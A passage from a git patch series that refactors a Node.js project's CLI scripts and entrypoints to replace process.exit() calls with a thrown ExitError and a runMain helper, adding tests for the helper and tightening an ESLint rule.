FORBIDDEN_RE.lastIndex = 0; - let match; - while ((match = FORBIDDEN_RE.exec(line)) !== null) { - violations.push({ - file: relPath, - line: i + 1, - col: match.index + 1, - text: match[0], - }); + for (const relPath of trackedFiles) { + if (isAllowlisted(relPath)) continue; + + const fullPath = path.join(REPO_ROOT, relPath); + + // Skip this guard script itself. + if (path.resolve(fullPath) === SELF_PATH) continue; + + if (isBinary(fullPath)) continue; + + let content; + try { + content = fs.readFileSync(fullPath, 'utf8'); + } catch { + // Unreadable files (permissions, etc.) — skip silently. + continue; + } + + const lines = content.split('\n'); + for (let i = 0; i < lines.length; i++) { + const line = lines[i]; + // Skip lines that carry the explicit allow marker. + if (line.includes(ALLOW_MARKER)) continue; + + FORBIDDEN_RE.lastIndex = 0; + let match; + while ((match = FORBIDDEN_RE.exec(line)) !== null) { + violations.push({ + file: relPath, + line: i + 1, + col: match.index + 1, + text: match[0], + }); + } } } + + if (violations.length === 0) { + process.stdout.write('ok lint-legacy-dir-name: ' + trackedFiles.length + ' tracked file(s) checked, 0 violations\n'); + return 0; + } + + process.stderr.write('\nERROR lint-legacy-dir-name: ' + violations.length + ' violation(s) found\n\n'); + for (const v of violations) { + process.stderr.write(' ' + v.file + ':' + v.line + ':' + v.col + ' — ' + JSON.stringify(v.text) + '\n'); + } + process.stderr.write('\n'); + process.stderr.write('Fix: rename to gsd-core, or add `gsd-allow-legacy-name` marker on the line if the\n'); + process.stderr.write(' use is intentional (migration modules, tests, guard, changeset).\n\n'); + return 1; } -if (violations.length === 0) { - process.stdout.write('ok lint-legacy-dir-name: ' + trackedFiles.length + ' tracked file(s) checked, 0 violations\n'); - process.exit(0); -} - -process.stderr.write('\nERROR lint-legacy-dir-name: ' + violations.length + ' violation(s) found\n\n'); -for (const v of violations) { - process.stderr.write(' ' + v.file + ':' + v.line + ':' + v.col + ' — ' + JSON.stringify(v.text) + '\n'); -} -process.stderr.write('\n'); -process.stderr.write('Fix: rename to gsd-core, or add `gsd-allow-legacy-name` marker on the line if the\n'); -process.stderr.write(' use is intentional (migration modules, tests, guard, changeset).\n\n'); -process.exit(1); +runMain(main); diff --git a/scripts/lint-pr-check-project-dir.cjs b/scripts/lint-pr-check-project-dir.cjs index b3126528b..e9a65bfac 100644 --- a/scripts/lint-pr-check-project-dir.cjs +++ b/scripts/lint-pr-check-project-dir.cjs @@ -4,6 +4,8 @@ const fs = require('fs'); const path = require('path'); +const { runMain } = require('./lib/cli-exit.cjs'); + const ROOT = path.join(__dirname, '..'); const DEFAULT_RELATIVE_FILES = [ @@ -84,7 +86,7 @@ function main(argv = process.argv.slice(2)) { } if (require.main === module) { - process.exit(main()); + runMain(main); } module.exports = { diff --git a/scripts/lint-shell-command-projection-drift.cjs b/scripts/lint-shell-command-projection-drift.cjs index 46f740925..acc1aa733 100644 --- a/scripts/lint-shell-command-projection-drift.cjs +++ b/scripts/lint-shell-command-projection-drift.cjs @@ -13,19 +13,9 @@ const fs = require('fs'); const path = require('path'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); const ROOT = path.resolve(__dirname, '..'); -const targetArg = process.argv[2] || path.join(ROOT, 'bin', 'install.js'); -const target = path.resolve(targetArg); -const rel = path.relative(ROOT, target); - -let content; -try { - content = fs.readFileSync(target, 'utf8'); -} catch (error) { - process.stderr.write(`lint-shell-command-projection-drift: failed to read ${target}: ${error.message}\n`); - process.exit(1); -} const forbidden = [ { @@ -42,16 +32,31 @@ const forbidden = [ }, ]; -const matches = forbidden.filter((rule) => rule.pattern.test(content)); -if (matches.length === 0) { - process.stdout.write(`ok shell-projection-drift: ${rel}\n`); - process.exit(0); +function main() { + const targetArg = process.argv[2] || path.join(ROOT, 'bin', 'install.js'); + const target = path.resolve(targetArg); + const rel = path.relative(ROOT, target); + + let content; + try { + content = fs.readFileSync(target, 'utf8'); + } catch (error) { + throw new ExitError(1, `lint-shell-command-projection-drift: failed to read ${target}: ${error.message}`); + } + + const matches = forbidden.filter((rule) => rule.pattern.test(content)); + if (matches.length === 0) { + process.stdout.write(`ok shell-projection-drift: ${rel}\n`); + return 0; + } + + process.stderr.write(`ERROR shell-projection-drift: inline serialized shim builders found in ${rel}\n`); + for (const match of matches) { + process.stderr.write(` - ${match.label}\n`); + } + process.stderr.write('Route shim/wrapper rendering through gsd-core/bin/lib/shell-command-projection.cjs\n'); + process.stderr.write('Safe subprocess execution via spawnSync/execFileSync is intentionally allowed.\n'); + return 1; } -process.stderr.write(`ERROR shell-projection-drift: inline serialized shim builders found in ${rel}\n`); -for (const match of matches) { - process.stderr.write(` - ${match.label}\n`); -} -process.stderr.write('Route shim/wrapper rendering through gsd-core/bin/lib/shell-command-projection.cjs\n'); -process.stderr.write('Safe subprocess execution via spawnSync/execFileSync is intentionally allowed.\n'); -process.exit(1); +runMain(main); diff --git a/scripts/lint-skill-deps.cjs b/scripts/lint-skill-deps.cjs index e0daf6ca9..73380b32e 100644 --- a/scripts/lint-skill-deps.cjs +++ b/scripts/lint-skill-deps.cjs @@ -25,6 +25,7 @@ const fs = require('fs'); const path = require('path'); +const { runMain } = require('./lib/cli-exit.cjs'); const PROFILES_MODULE = path.join(__dirname, '..', 'gsd-core', 'bin', 'lib', 'install-profiles.cjs'); const { PROFILES, loadSkillsManifest, resolveProfile } = require(PROFILES_MODULE); @@ -142,39 +143,43 @@ function checkProfileClosure(manifest) { // Main // --------------------------------------------------------------------------- -const manifest = loadSkillsManifest(commandsDir); -const allStems = new Set( - [...manifest.keys()].filter((k) => !k.startsWith('_calls_agents_')) -); +function main() { + const manifest = loadSkillsManifest(commandsDir); + const allStems = new Set( + [...manifest.keys()].filter((k) => !k.startsWith('_calls_agents_')) + ); -const consistencyViolations = checkFrontmatterBodyConsistency(manifest, allStems); -const closureViolations = checkProfileClosure(manifest); + const consistencyViolations = checkFrontmatterBodyConsistency(manifest, allStems); + const closureViolations = checkProfileClosure(manifest); -const totalViolations = consistencyViolations.length + closureViolations.length; + const totalViolations = consistencyViolations.length + closureViolations.length; -if (totalViolations === 0) { - const checked = manifest.size; - process.stdout.write('ok lint-skill-deps: ' + checked + ' skill(s) checked, 0 violations\n'); - process.exit(0); -} - -process.stderr.write('\nERROR lint-skill-deps: ' + totalViolations + ' violation(s) found\n\n'); - -if (consistencyViolations.length > 0) { - process.stderr.write('Frontmatter to body consistency violations (' + consistencyViolations.length + '):\n\n'); - for (const v of consistencyViolations) { - process.stderr.write(' ' + v.filePath + '\n'); - process.stderr.write(' ' + v.message + '\n\n'); + if (totalViolations === 0) { + const checked = manifest.size; + process.stdout.write('ok lint-skill-deps: ' + checked + ' skill(s) checked, 0 violations\n'); + return 0; } - process.stderr.write('Fix: add missing deps to requires: in the skill frontmatter.\n\n'); -} -if (closureViolations.length > 0) { - process.stderr.write('Profile closure violations (' + closureViolations.length + '):\n\n'); - for (const v of closureViolations) { - process.stderr.write(' ' + v.message + '\n'); + process.stderr.write('\nERROR lint-skill-deps: ' + totalViolations + ' violation(s) found\n\n'); + + if (consistencyViolations.length > 0) { + process.stderr.write('Frontmatter to body consistency violations (' + consistencyViolations.length + '):\n\n'); + for (const v of consistencyViolations) { + process.stderr.write(' ' + v.filePath + '\n'); + process.stderr.write(' ' + v.message + '\n\n'); + } + process.stderr.write('Fix: add missing deps to requires: in the skill frontmatter.\n\n'); } - process.stderr.write('\nFix: add the missing skills to the profile base set in install-profiles.cjs.\n\n'); + + if (closureViolations.length > 0) { + process.stderr.write('Profile closure violations (' + closureViolations.length + '):\n\n'); + for (const v of closureViolations) { + process.stderr.write(' ' + v.message + '\n'); + } + process.stderr.write('\nFix: add the missing skills to the profile base set in install-profiles.cjs.\n\n'); + } + + return 1; } -process.exit(1); +runMain(main); diff --git a/scripts/lint-test-file-count.cjs b/scripts/lint-test-file-count.cjs index 7a5d6ced8..69c99ebea 100644 --- a/scripts/lint-test-file-count.cjs +++ b/scripts/lint-test-file-count.cjs @@ -17,6 +17,7 @@ const fs = require('fs'); const path = require('path'); const { assertWithinAllowlist } = require('./lib/allowlist-ratchet.cjs'); +const { runMain } = require('./lib/cli-exit.cjs'); const ROOT = path.join(__dirname, '..'); const PROD_DIRS = [ @@ -201,14 +202,14 @@ function run() { if (jsonMode) { console.log(JSON.stringify({ ok: failures.length === 0, results, failures, hints: [] }, null, 2)); - process.exit(failures.length > 0 ? 1 : 0); + return failures.length > 0 ? 1 : 0; } if (failures.length === 0) { const inAllowlist = results.filter(r => r.verdict === Verdict.OK_IN_ALLOWLIST).length; console.log(`ok lint-test-file-count: ${results.length} module(s) checked, 0 failures` + (inAllowlist > 0 ? `, ${inAllowlist} allowlisted` : '')); - process.exit(0); + return 0; } process.stderr.write(`\nERROR lint-test-file-count: ${failures.length} module(s) exceed the test-file limit\n\n`); @@ -231,7 +232,7 @@ function run() { } process.stderr.write('\nFix: consolidate test files per module (one primary + one integration).\n'); process.stderr.write('Or update scripts/lint-test-file-count.allowlist.json with PR justification.\n\n'); - process.exit(1); + return 1; } module.exports = { @@ -242,4 +243,4 @@ module.exports = { _loadAllowlist: loadAllowlist, }; -if (require.main === module) run(); +if (require.main === module) runMain(run); diff --git a/scripts/mutation-matrix.cjs b/scripts/mutation-matrix.cjs index a215e88bd..562c8995c 100644 --- a/scripts/mutation-matrix.cjs +++ b/scripts/mutation-matrix.cjs @@ -32,6 +32,8 @@ const { execFileSync } = require('child_process'); const { readFileSync } = require('fs'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); + // ── Single source of truth: covered modules ─────────────────────────────────── // Each entry: { cjs: '', tests: ['tests/...', ...] } // A module is "covered" iff its tests are wired into the Stryker command runner @@ -121,7 +123,7 @@ function parseArgs(argv) { ' --base Git ref to diff against (default: origin/${GITHUB_BASE_REF:-next})', ' --print Human-readable output instead of JSON', ].join('\n')); - process.exit(0); + throw new ExitError(0); } else { throw new Error(`unknown argument: ${arg}`); } @@ -211,9 +213,10 @@ function main() { console.log(JSON.stringify(result, null, 2)); } } catch (err) { + if (err instanceof ExitError) throw err; console.error(`mutation-matrix: ${err.message}`); - process.exit(2); + throw new ExitError(2); } } -main(); +runMain(main); diff --git a/scripts/release-notes/format-github-release-notes.cjs b/scripts/release-notes/format-github-release-notes.cjs index 85c7733cf..2116f5902 100644 --- a/scripts/release-notes/format-github-release-notes.cjs +++ b/scripts/release-notes/format-github-release-notes.cjs @@ -4,6 +4,7 @@ const path = require('path'); const os = require('os'); const fs = require('fs'); const { execFileSync } = require('child_process'); +const { runMain, ExitError } = require('../lib/cli-exit.cjs'); /** * Classify a What's-Changed bullet line into 'Feature', 'Fix', or 'Enhancement'. @@ -155,7 +156,7 @@ function formatReleaseNotes({ generatedBody, version, prerelease, packageName }) } // CLI entry point -if (require.main === module) { +function main() { try { const argv = process.argv.slice(2); @@ -248,9 +249,13 @@ if (require.main === module) { process.stdout.write(formatted + '\n'); } } catch (err) { - process.stderr.write((err.message || String(err)) + '\n'); - process.exit(1); + if (err instanceof ExitError) throw err; + throw new ExitError(1, err && err.message ? err.message : String(err)); } } +if (require.main === module) { + runMain(main); +} + module.exports = { formatReleaseNotes, classifyTitle }; diff --git a/scripts/release-tarball-smoke.cjs b/scripts/release-tarball-smoke.cjs index 0c7a8ead7..6f20d21e3 100644 --- a/scripts/release-tarball-smoke.cjs +++ b/scripts/release-tarball-smoke.cjs @@ -46,6 +46,7 @@ const fs = require('fs'); const os = require('os'); const path = require('path'); const { PACKAGE_NAME } = require('../gsd-core/bin/lib/package-identity.cjs'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); // 120 s proved too tight on Windows GitHub-hosted runners: cold-cache // `npm install -g` with a 1499-file tarball took ~120 s exactly, causing // spawnSync to fire SIGTERM and return { status: null, stdout: '', stderr: '' } @@ -587,23 +588,24 @@ function cliMain() { }; if (isJson) process.stdout.write(JSON.stringify(result) + '\n'); cleanup(packDir, installPrefix, fixtureDir); - process.exit(1); + throw new ExitError(1); } } } catch (err) { + if (err instanceof ExitError) throw err; const result = { code: SMOKE.PACK_FAILED, details: { error: err.message, stderr: err.stderr }, }; if (isJson) process.stdout.write(JSON.stringify(result) + '\n'); cleanup(packDir, installPrefix, fixtureDir); - process.exit(1); + throw new ExitError(1); } const result = runSmoke({ tarballPath, installPrefix, expectedVersion, fixtureDir }); if (isJson) process.stdout.write(JSON.stringify(result) + '\n'); cleanup(packDir, installPrefix, fixtureDir); - process.exit(result.code === SMOKE.OK ? 0 : 1); + return result.code === SMOKE.OK ? 0 : 1; } function cleanup(...dirs) { @@ -623,5 +625,5 @@ function cleanup(...dirs) { module.exports = { SMOKE, runSmoke, binInvocation }; if (require.main === module) { - cliMain(); + runMain(cliMain); } diff --git a/scripts/run-affected-tests.cjs b/scripts/run-affected-tests.cjs index 224919e34..fc911bde5 100644 --- a/scripts/run-affected-tests.cjs +++ b/scripts/run-affected-tests.cjs @@ -2,5 +2,6 @@ 'use strict'; const { runAffectedTests } = require('./affected-tests-lib.cjs'); +const { runMain } = require('./lib/cli-exit.cjs'); -runAffectedTests(); +runMain(runAffectedTests); diff --git a/scripts/run-cross-platform-tests.cjs b/scripts/run-cross-platform-tests.cjs index 72eb3b1cd..31a8f4a8e 100644 --- a/scripts/run-cross-platform-tests.cjs +++ b/scripts/run-cross-platform-tests.cjs @@ -1,6 +1,7 @@ 'use strict'; const { spawnSync } = require('child_process'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); const CROSS_PLATFORM_TEST_REASON = Object.freeze({ PASS: 'pass', @@ -50,14 +51,17 @@ function runCrossPlatformTests(options = {}, deps = {}) { } if (require.main === module) { - const result = runCrossPlatformTests(); - const line = `[cross-platform-tests] reason=${result.reason} exit=${result.exitCode}`; - if (result.ok) { - process.stdout.write(`${line}\n`); - process.exit(0); + function main() { + const result = runCrossPlatformTests(); + const line = `[cross-platform-tests] reason=${result.reason} exit=${result.exitCode}`; + if (result.ok) { + process.stdout.write(`${line}\n`); + return 0; + } + process.stderr.write(`${line}\n`); + throw new ExitError(result.exitCode); } - process.stderr.write(`${line}\n`); - process.exit(result.exitCode); + runMain(main); } module.exports = { CROSS_PLATFORM_TEST_REASON, runCrossPlatformTests }; diff --git a/scripts/run-tests.cjs b/scripts/run-tests.cjs index 337e1d2eb..810438534 100644 --- a/scripts/run-tests.cjs +++ b/scripts/run-tests.cjs @@ -23,6 +23,7 @@ const { readdirSync, existsSync } = require('fs'); const { join } = require('path'); const { execFileSync } = require('child_process'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); const SUITES = ['all', 'unit', 'integration', 'install', 'security', 'slow']; @@ -189,13 +190,13 @@ function main() { if (parsed.error) { console.error(`run-tests: ${parsed.error}`); console.error(`Valid suites: ${SUITES.join(', ')}`); - process.exit(2); + throw new ExitError(2); } const suite = parsed.suite; if (suite !== null && !SUITES.includes(suite)) { console.error(`run-tests: unknown suite "${suite}"`); console.error(`Valid suites: ${SUITES.join(', ')}`); - process.exit(2); + throw new ExitError(2); } const testDir = process.env.GSD_TEST_DIR @@ -208,7 +209,7 @@ function main() { if (allFiles.length === 0) { console.error(`No test files found in ${testDir}`); - process.exit(1); + throw new ExitError(1); } let selectedNames; @@ -216,7 +217,7 @@ function main() { const explicit = selectExplicitFiles(allFiles, parsed.files, parsed.filesFrom); if (explicit.error) { console.error(`run-tests: ${explicit.error}`); - process.exit(2); + throw new ExitError(2); } selectedNames = explicit.files; } else { @@ -229,7 +230,7 @@ function main() { // adversarial tests land) don't gate CI. CI consumers wanting strictness // can grep stderr for "no tests in suite". console.error(`run-tests: no tests in suite "${suite || 'all'}"`); - process.exit(0); + return 0; } // Build the gitignored bin/lib artifact if absent, before any test requires it. @@ -304,11 +305,11 @@ function main() { if (firstFailureExit === 0) firstFailureExit = code; } } - if (firstFailureExit !== 0) process.exit(firstFailureExit); + if (firstFailureExit !== 0) return firstFailureExit; } if (require.main === module) { - main(); + runMain(main); } module.exports = { suiteOf }; diff --git a/scripts/verify-npm-publish.cjs b/scripts/verify-npm-publish.cjs index e0c998a1e..ff754a8dc 100644 --- a/scripts/verify-npm-publish.cjs +++ b/scripts/verify-npm-publish.cjs @@ -8,6 +8,7 @@ */ const cp = require('node:child_process'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); // ---- Constants --------------------------------------------------------------- @@ -137,67 +138,57 @@ function parseArgs(argv) { ' --json emit structured JSON output\n' + ' --help, -h show this help\n' ); - process.exit(0); + throw new ExitError(0); } else if (arg === '--package') { const val = args.shift(); if (!val || val.startsWith('-')) { - process.stderr.write('error: --package requires a value\n'); - process.exit(2); + throw new ExitError(2, 'error: --package requires a value'); } opts.pkg = val; } else if (arg === '--version') { const val = args.shift(); if (!val || val.startsWith('-')) { - process.stderr.write('error: --version requires a value\n'); - process.exit(2); + throw new ExitError(2, 'error: --version requires a value'); } opts.version = val; } else if (arg === '--dist-tag') { const val = args.shift(); if (!val || val.startsWith('-')) { - process.stderr.write('error: --dist-tag requires a value\n'); - process.exit(2); + throw new ExitError(2, 'error: --dist-tag requires a value'); } opts.distTag = val; } else if (arg === '--max-attempts') { const val = args.shift(); if (!val || val.startsWith('-')) { - process.stderr.write('error: --max-attempts requires a value\n'); - process.exit(2); + throw new ExitError(2, 'error: --max-attempts requires a value'); } const n = parseInt(val, 10); if (isNaN(n) || n < 1) { - process.stderr.write('error: --max-attempts must be a positive integer\n'); - process.exit(2); + throw new ExitError(2, 'error: --max-attempts must be a positive integer'); } opts.maxAttempts = n; } else if (arg === '--interval-ms') { const val = args.shift(); if (!val || val.startsWith('-')) { - process.stderr.write('error: --interval-ms requires a value\n'); - process.exit(2); + throw new ExitError(2, 'error: --interval-ms requires a value'); } const n = parseInt(val, 10); if (isNaN(n) || n < 0) { - process.stderr.write('error: --interval-ms must be a non-negative integer\n'); - process.exit(2); + throw new ExitError(2, 'error: --interval-ms must be a non-negative integer'); } opts.intervalMs = n; } else if (arg === '--json') { opts.json = true; } else { - process.stderr.write(`unknown argument: ${arg}\n`); - process.exit(2); + throw new ExitError(2, `unknown argument: ${arg}`); } } if (!opts.pkg) { - process.stderr.write('error: --package is required\n'); - process.exit(2); + throw new ExitError(2, 'error: --package is required'); } if (!opts.version) { - process.stderr.write('error: --version is required\n'); - process.exit(2); + throw new ExitError(2, 'error: --version is required'); } return opts; @@ -237,16 +228,13 @@ async function main() { } } - process.exit(result.ok ? 0 : 1); + return result.ok ? 0 : 1; } // ---- Guard ------------------------------------------------------------------- if (require.main === module) { - main().catch((err) => { - process.stderr.write(String((err && err.stack) || err) + '\n'); - process.exit(1); - }); + runMain(main); } module.exports = { verifyPublish, parseArgs, REASON, defaultFetchVersion, defaultFetchDistTag }; diff --git a/tests/cli-exit.test.cjs b/tests/cli-exit.test.cjs new file mode 100644 index 000000000..75a52c6a5 --- /dev/null +++ b/tests/cli-exit.test.cjs @@ -0,0 +1,161 @@ +'use strict'; + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); + +const { ExitError, runMain } = require('../scripts/lib/cli-exit.cjs'); + +/** Settle the runMain promise chain before asserting. */ +async function settle() { + await new Promise((r) => setImmediate(r)); +} + +describe('ExitError', () => { + test('default code is 1', () => { + const err = new ExitError(); + assert.equal(err.code, 1); + }); + + test('name is ExitError', () => { + const err = new ExitError(); + assert.equal(err.name, 'ExitError'); + }); + + test('instanceof Error', () => { + assert.ok(new ExitError() instanceof Error); + }); + + test('hasUserMessage is false when no message passed', () => { + const err = new ExitError(1); + assert.equal(err.hasUserMessage, false); + }); + + test('hasUserMessage is true when message passed', () => { + const err = new ExitError(1, 'something went wrong'); + assert.equal(err.hasUserMessage, true); + }); + + test('custom code is preserved', () => { + const err = new ExitError(42, 'boom'); + assert.equal(err.code, 42); + }); + + test('message is set to user message when provided', () => { + const err = new ExitError(2, 'user msg'); + assert.equal(err.message, 'user msg'); + }); + + test('message is synthetic when no message provided', () => { + const err = new ExitError(3); + assert.equal(err.message, 'process exit 3'); + }); +}); + +describe('runMain', () => { + test('main returns a number sets process.exitCode', async () => { + const saved = process.exitCode; + try { + runMain(() => 42); + await settle(); + assert.equal(process.exitCode, 42); + } finally { + process.exitCode = saved || 0; + } + }); + + test('main returns undefined leaves process.exitCode unchanged', async () => { + const saved = process.exitCode; + // Set a known value before calling + process.exitCode = 0; + try { + runMain(() => undefined); + await settle(); + assert.equal(process.exitCode, 0); + } finally { + process.exitCode = saved || 0; + } + }); + + test('main throws ExitError sets process.exitCode to err.code', async () => { + const saved = process.exitCode; + try { + runMain(() => { throw new ExitError(2); }); + await settle(); + assert.equal(process.exitCode, 2); + } finally { + process.exitCode = saved || 0; + } + }); + + test('main rejects async ExitError(0) sets process.exitCode to 0', async () => { + const saved = process.exitCode; + try { + runMain(async () => { throw new ExitError(0); }); + await settle(); + assert.equal(process.exitCode, 0); + } finally { + process.exitCode = saved !== undefined ? saved : 0; + } + }); + + test('main throws generic Error sets process.exitCode to 1 and writes stderr', async () => { + const saved = process.exitCode; + const stderrChunks = []; + const origWrite = process.stderr.write.bind(process.stderr); + process.stderr.write = (chunk, ...args) => { + stderrChunks.push(typeof chunk === 'string' ? chunk : chunk.toString()); + return origWrite(chunk, ...args); + }; + try { + runMain(() => { throw new Error('kaboom'); }); + await settle(); + assert.equal(process.exitCode, 1); + const combined = stderrChunks.join(''); + assert.ok(combined.includes('kaboom'), `expected "kaboom" in stderr: ${combined}`); + } finally { + process.stderr.write = origWrite; + process.exitCode = saved || 0; + } + }); + + test('ExitError with hasUserMessage and non-zero code writes to stderr', async () => { + const saved = process.exitCode; + const stderrChunks = []; + const origWrite = process.stderr.write.bind(process.stderr); + process.stderr.write = (chunk, ...args) => { + stderrChunks.push(typeof chunk === 'string' ? chunk : chunk.toString()); + return origWrite(chunk, ...args); + }; + try { + runMain(() => { throw new ExitError(1, 'user-visible error'); }); + await settle(); + assert.equal(process.exitCode, 1); + const combined = stderrChunks.join(''); + assert.ok(combined.includes('user-visible error'), `expected message in stderr: ${combined}`); + } finally { + process.stderr.write = origWrite; + process.exitCode = saved || 0; + } + }); + + test('ExitError with hasUserMessage and code 0 does NOT write to stderr', async () => { + const saved = process.exitCode; + const stderrChunks = []; + const origWrite = process.stderr.write.bind(process.stderr); + process.stderr.write = (chunk, ...args) => { + stderrChunks.push(typeof chunk === 'string' ? chunk : chunk.toString()); + return origWrite(chunk, ...args); + }; + try { + runMain(() => { throw new ExitError(0, 'silent success'); }); + await settle(); + assert.equal(process.exitCode, 0); + const combined = stderrChunks.join(''); + assert.equal(combined.includes('silent success'), false, + `did not expect message in stderr: ${combined}`); + } finally { + process.stderr.write = origWrite; + process.exitCode = saved !== undefined ? saved : 0; + } + }); +}); From b79b767629a3da923600d39123ab22756c48b20d Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 16:27:05 -0400 Subject: [PATCH 28/94] refactor(bin): replace process.exit() in CLI entrypoints + ratchet rule to error (#738) (#741) Part 2 of 2 of the n/no-process-exit cleanup (completes umbrella #738; part 1 was #739/scripts). Converts the 20 flagged process.exit() calls in the three hand-written gsd-core/bin CLI entrypoints and flips n/no-process-exit to error. - New src/cli-exit.cts -> gsd-core/bin/lib/cli-exit.cjs (ExitError + runMain), the gsd-core-side equivalent of scripts/lib/cli-exit.cjs; registered in .gitignore, eslint ignores, and the inventory manifest like its siblings. - gsd-tools.cjs: 13 apply-prompt-budget exits -> throw ExitError; main()->runMain. - verify-reapply-patches.cjs: 6 exits -> throw ExitError / return verdict; runMain. - check-latest-version.cjs: 1 exit -> return verdict; runMain. - eslint.config.mjs: n/no-process-exit warn -> error. Scope note: the gsd-core/bin/lib/*.cjs modules (core, state, profile-pipeline, roadmap-command-router, adr-parser, ui-safety-gate) are tsc-generated and eslint-ignored (ADR-457), so their process.exit calls were never flagged and are intentionally left untouched. Only the linted hand-written entrypoints are in scope. Exit codes verified unchanged for all three entrypoints. Closes #738 Co-authored-by: Claude Opus 4.8 --- .gitignore | 1 + docs/INVENTORY-MANIFEST.json | 3 +- docs/INVENTORY.md | 3 +- eslint.config.mjs | 3 +- gsd-core/bin/check-latest-version.cjs | 5 +-- gsd-core/bin/gsd-tools.cjs | 41 +++++++++---------------- gsd-core/bin/verify-reapply-patches.cjs | 19 +++++------- src/cli-exit.cts | 41 +++++++++++++++++++++++++ 8 files changed, 74 insertions(+), 42 deletions(-) create mode 100644 src/cli-exit.cts diff --git a/.gitignore b/.gitignore index 6059a5dba..fbaf91d64 100644 --- a/.gitignore +++ b/.gitignore @@ -71,6 +71,7 @@ build/ /gsd-core/bin/lib/package-legitimacy.cjs /gsd-core/bin/lib/semver-compare.cjs /gsd-core/bin/lib/config-types.cjs +/gsd-core/bin/lib/cli-exit.cjs /gsd-core/bin/lib/code-review-flags.cjs /gsd-core/bin/lib/context-utilization.cjs /gsd-core/bin/lib/artifacts.cjs diff --git a/docs/INVENTORY-MANIFEST.json b/docs/INVENTORY-MANIFEST.json index ba8f4efdb..4abfd5dcb 100644 --- a/docs/INVENTORY-MANIFEST.json +++ b/docs/INVENTORY-MANIFEST.json @@ -1,5 +1,5 @@ { - "generated": "2026-06-05", + "generated": "2026-06-06", "families": { "agents": [ "gsd-advisor-researcher", @@ -272,6 +272,7 @@ "audit.cjs", "check-command-router.cjs", "cjs-command-router-adapter.cjs", + "cli-exit.cjs", "clock.cjs", "clusters.cjs", "code-review-flags.cjs", diff --git a/docs/INVENTORY.md b/docs/INVENTORY.md index 78e5dca6c..e346ed83a 100644 --- a/docs/INVENTORY.md +++ b/docs/INVENTORY.md @@ -370,7 +370,7 @@ The `gsd-planner` agent is decomposed into a core agent plus reference modules t --- -## CLI Modules (85 shipped) +## CLI Modules (86 shipped) Full listing: `gsd-core/bin/lib/*.cjs`. @@ -382,6 +382,7 @@ Full listing: `gsd-core/bin/lib/*.cjs`. | `artifacts.cjs` | Canonical artifact registry — known `.planning/` root file names; used by `gsd-health` W019 lint | | `audit.cjs` | Audit dispatch, audit open sessions, audit storage helpers | | `check-command-router.cjs` | Thin CJS subcommand router adapter for `gsd-tools check` | +| `cli-exit.cjs` | `ExitError` class and `runMain()` helper — CLI entrypoints throw `ExitError` instead of calling `process.exit()`; `runMain()` translates the outcome into `process.exitCode` so output flushes cleanly | | `cjs-command-router-adapter.cjs` | Shared compatibility adapter for manifest-backed CJS command-family routers | | `clock.cjs` | Injectable clock seam (now/sleep) for deterministic lock testing | | `clusters.cjs` | Skill cluster definitions for the runtime surface module (ADR-0011 Phase 2) | diff --git a/eslint.config.mjs b/eslint.config.mjs index 52e045fe2..ccd7a87ca 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -35,6 +35,7 @@ export default tseslint.config( '**/*.generated.cjs', // ADR-457: tsc-generated runtime artifact — lint the src/*.cts source, not the emitted .cjs. 'gsd-core/bin/lib/semver-compare.cjs', + 'gsd-core/bin/lib/cli-exit.cjs', 'gsd-core/bin/lib/code-review-flags.cjs', 'gsd-core/bin/lib/context-utilization.cjs', 'gsd-core/bin/lib/artifacts.cjs', @@ -174,7 +175,7 @@ export default tseslint.config( 'no-useless-escape': 'warn', 'no-unsafe-finally': 'warn', // eslint-plugin-n rules - 'n/no-process-exit': 'warn', + 'n/no-process-exit': 'error', // Local rules — warn for now; flip to error after cleanup phases 'local/no-source-grep': 'warn', }, diff --git a/gsd-core/bin/check-latest-version.cjs b/gsd-core/bin/check-latest-version.cjs index 59fdbca70..d5f889e53 100755 --- a/gsd-core/bin/check-latest-version.cjs +++ b/gsd-core/bin/check-latest-version.cjs @@ -21,6 +21,7 @@ */ const { execNpm } = require('./lib/shell-command-projection.cjs'); +const { runMain } = require('./lib/cli-exit.cjs'); // Sourced from the single Package Identity seam (#498), not re-typed. The seam // bakes the value from package.json at build time, so it is a code constant — @@ -98,9 +99,9 @@ function main() { } else { process.stderr.write(`check-latest-version: ${r.reason}: ${r.detail}\n`); } - process.exit(r.ok ? 0 : 1); + return r.ok ? 0 : 1; } -if (require.main === module) main(); +if (require.main === module) runMain(main); module.exports = { checkLatestVersion, CHECK_REASON, PACKAGE_NAME }; diff --git a/gsd-core/bin/gsd-tools.cjs b/gsd-core/bin/gsd-tools.cjs index 7e33347e6..d12f9e69c 100755 --- a/gsd-core/bin/gsd-tools.cjs +++ b/gsd-core/bin/gsd-tools.cjs @@ -170,6 +170,7 @@ const fs = require('fs'); const path = require('path'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); const core = require('./lib/core.cjs'); const { error, ERROR_REASON } = core; // Resolve findProjectRoot lazily at call time rather than binding it at module @@ -1527,33 +1528,26 @@ async function runCommand(command, args, cwd, raw, defaultValue, originalCommand // ── Validate required args ───────────────────────────────────────── if (!budgetStr) { - process.stderr.write('Error: --budget is required\n'); - process.exit(1); + throw new ExitError(1, 'Error: --budget is required'); } const budget = parseInt(budgetStr, 10); if (!Number.isFinite(budget) || budget <= 0) { - process.stderr.write('Error: --budget must be a positive integer\n'); - process.exit(1); + throw new ExitError(1, 'Error: --budget must be a positive integer'); } if (!instructionsFile) { - process.stderr.write('Error: --instructions-file is required\n'); - process.exit(1); + throw new ExitError(1, 'Error: --instructions-file is required'); } if (!roadmapFile) { - process.stderr.write('Error: --roadmap-file is required\n'); - process.exit(1); + throw new ExitError(1, 'Error: --roadmap-file is required'); } if (planFiles.length === 0) { - process.stderr.write('Error: at least one --plan-file is required\n'); - process.exit(1); + throw new ExitError(1, 'Error: at least one --plan-file is required'); } if (!outputPromptFile) { - process.stderr.write('Error: --output-prompt is required\n'); - process.exit(1); + throw new ExitError(1, 'Error: --output-prompt is required'); } if (!outputMetadataFile) { - process.stderr.write('Error: --output-metadata is required\n'); - process.exit(1); + throw new ExitError(1, 'Error: --output-metadata is required'); } // ── Validate and read required files ────────────────────────────── 